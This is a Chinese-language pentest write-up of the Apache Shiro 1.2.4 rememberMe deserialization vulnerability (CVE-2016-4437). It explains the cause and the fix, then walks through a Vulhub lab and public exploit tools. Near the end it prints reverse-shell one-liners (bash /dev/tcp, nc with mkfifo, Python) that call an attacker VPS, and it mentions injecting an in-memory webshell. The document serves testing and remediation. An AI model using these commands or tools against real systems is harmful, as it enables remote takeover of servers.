【禁止转载】Apache Shiro 反序列化命令执行漏洞
2.Apache Shiro 反序列化命令执行漏洞
漏洞名称
Apache Shiro 反序列化命令执行漏洞
漏洞地址
https://www.wangan.com/docs/418
漏洞等级
超危
漏洞描述
Apache Shiro 是一款开源Java安全框架,提供身份验证、授权、密码学和会话管理。Shiro 框架直观、易用,同时也能提供健壮的安全性。
Apache Shiro 1.2.4 及以前版本中,加密的用户信息序列化后存储在名为 remember-me 的 Cookie 中。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。攻击者可以使用 Shiro 的默认密钥伪造用户 Cookie,触发 Java 反序列化漏洞,进而在目标机器上执行任意命令。
漏洞成因
Apache Shiro框架提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。
Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码操作。
在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序,不难知道解密的顺序为:
1.获取rememberMe cookie2.base64 decode3.解密AES(加密密钥硬编码)4.反序列化(未作过滤处理)
但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
漏洞危害
影响Shiro <= 1.2.4版本,当未设置用于“remember me”特性的AES密钥时,存在反序列化漏洞,可远程命令执行。
修复方案
1.升级Shiro版本到1.2.5及以上,建议直接升级到最新版本。2.现在使用的rememberMe的AES加密密钥泄露,请自己base64一个AES的密钥,或者利用官方提供的方法生成密钥。org.apache.shiro.crypto.AbstractSymmetricCipherService #generateNewKey()
测试过程
测试环境
Vulhub
https://vulhub.org/
https://github.com/vulhub/vulhub
https://github.com/vulhub/vulhub/archive/refs/heads/master.zip
使用Vulhub一键搭建漏洞测试靶场
docker-compose up -d
安装 docker 和 docker-compose 后即可开始使用Vulhub。
Download the latest version of the vulhub
git clone https://github.com/vulhub/vulhub.git
Entry vulnerability directory
cd /path/to/vuln/
Compile (optional)
docker-compose build
Run
docker-compose up -d
使用方法
下载项目
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master
进入某一个漏洞/环境的目录
cd flask/ssti
自动化编译环境
docker-compose build
启动整个环境
docker-compose up -d
测试完成后,删除整个环境
docker-compose down -v
执行如下命令启动一个使用了 Apache Shiro 1.2.4 的 Web 服务:
cd Desktop/vulhub-master/shiro/CVE-2016-4437
docker-compose up -d
服务启动后,访问 http://192.168.0.104:8080
可使用 admin:vulhub
进行登录。
http://192.168.0.104:8080
首先,使用BurpSuite进行抓包,在请求包中的cookie字段中添加rememberMe=123
;,看响应包header中是否返回rememberMe=deleteMe
值,若有,则证明该系统使用了Shiro框架。
Burp Shiro 漏洞检测插件
在BurpSuite的扩展(Extend)中安装并启动Shiro检测插件
当BurpSuite抓取到Shiro的数据包时会自动进行检测Key,当发现存在Shiro默认key时会有相应的告警
Shiro 漏洞检测工具
工具一:ShiroExploit By 飞鸿
https://github.com/feihong-cs/ShiroExploit-Deprecated
ShiroExploit v2.51 Final
https://github.com/feihong-cs/ShiroExploit-Deprecated/releases
https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/download/v2.51/ShiroExploit.V2.51.7z
ShiroExploit v2.51 Final
1.增加 2 种新的回显方式 TomcatEcho2, JBossEcho,将 WeblogicEcho1 和 WeblogicEcho2 进行了合并
2.默认不启用 WindowEcho,Use with caution
3.Shiro550VerifierUsingEcho 回退到 URLDNS 方法时,由原先的使用 ceye.io 修改为使用 dnslog.cn
4.增加对设置 Http 代理的支持
5.增加 About 按钮
使用工具检测 Shiro-550 漏洞
选择漏洞检测方式
注意在使用回显进行漏洞检测时,会在目标网站上自动生成一个文件其中记录了执行命令的结果,所以不建议在正式环境测试中使用这种检测方式。
检测到目标存在Shiro反序列化漏洞
首先,在kali上开启nc监听本地8888端口,用来接收反弹的Shell
nc -lvvp 8888
然后用ShiroExploit工具的反弹Shell给远程攻击机器VPS(82.156.13.32)的8888端口
上述工具利用成功后,在攻击机器上成功接收到了反弹的Shell
工具二:shiro_attack By j1anFen
https://github.com/j1anFen/shiro_attack
shiro反序列化漏洞综合利用 v2.2
https://github.com/j1anFen/shiro_attack/releases
shiro_attack_2.2
1.修复自定义参数定义失效2.添加filter马
https://github.com/j1anFen/shiro_attack/releases/download/2.2/shiro_attack_2.2.zip
使用shiro_attack进行爆破Shiro密钥检测漏洞,当目标系统存在漏洞时,检测结果如下图所示:
使用shiro_attack工具可以直接执行命令并回显结果
工具三:ShiroAttack2
https://github.com/SummerSec/ShiroAttack2
https://github.com/SummerSec/ShiroAttack2/releases
https://github.com/SummerSec/ShiroAttack2/releases/download/4.5.2_fix_2/shiro_attack-4.5.2-SNAPSHOT-all.zip
4.5.2tomcat 回显执行命令修复版本
修复注入内存马时出现sun.net.www.protocol.http.HttpURLConnection$HttpInputStream@1a1bc158 问题
漏洞利用
http://192.168.206.144:8080/login
反弹shell
bash -c 'exec bash -i &>/dev/tcp/82.156.13.32/8888 <&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 82.156.13.32 8888 >/tmp/f
python -c 'import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("82.156.13.32"),int(os.getenv("8888"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'
直接反弹shell失败
写入内存马
再次尝试反弹shell成功。
复测情况
已修复
测试人员
南风向晚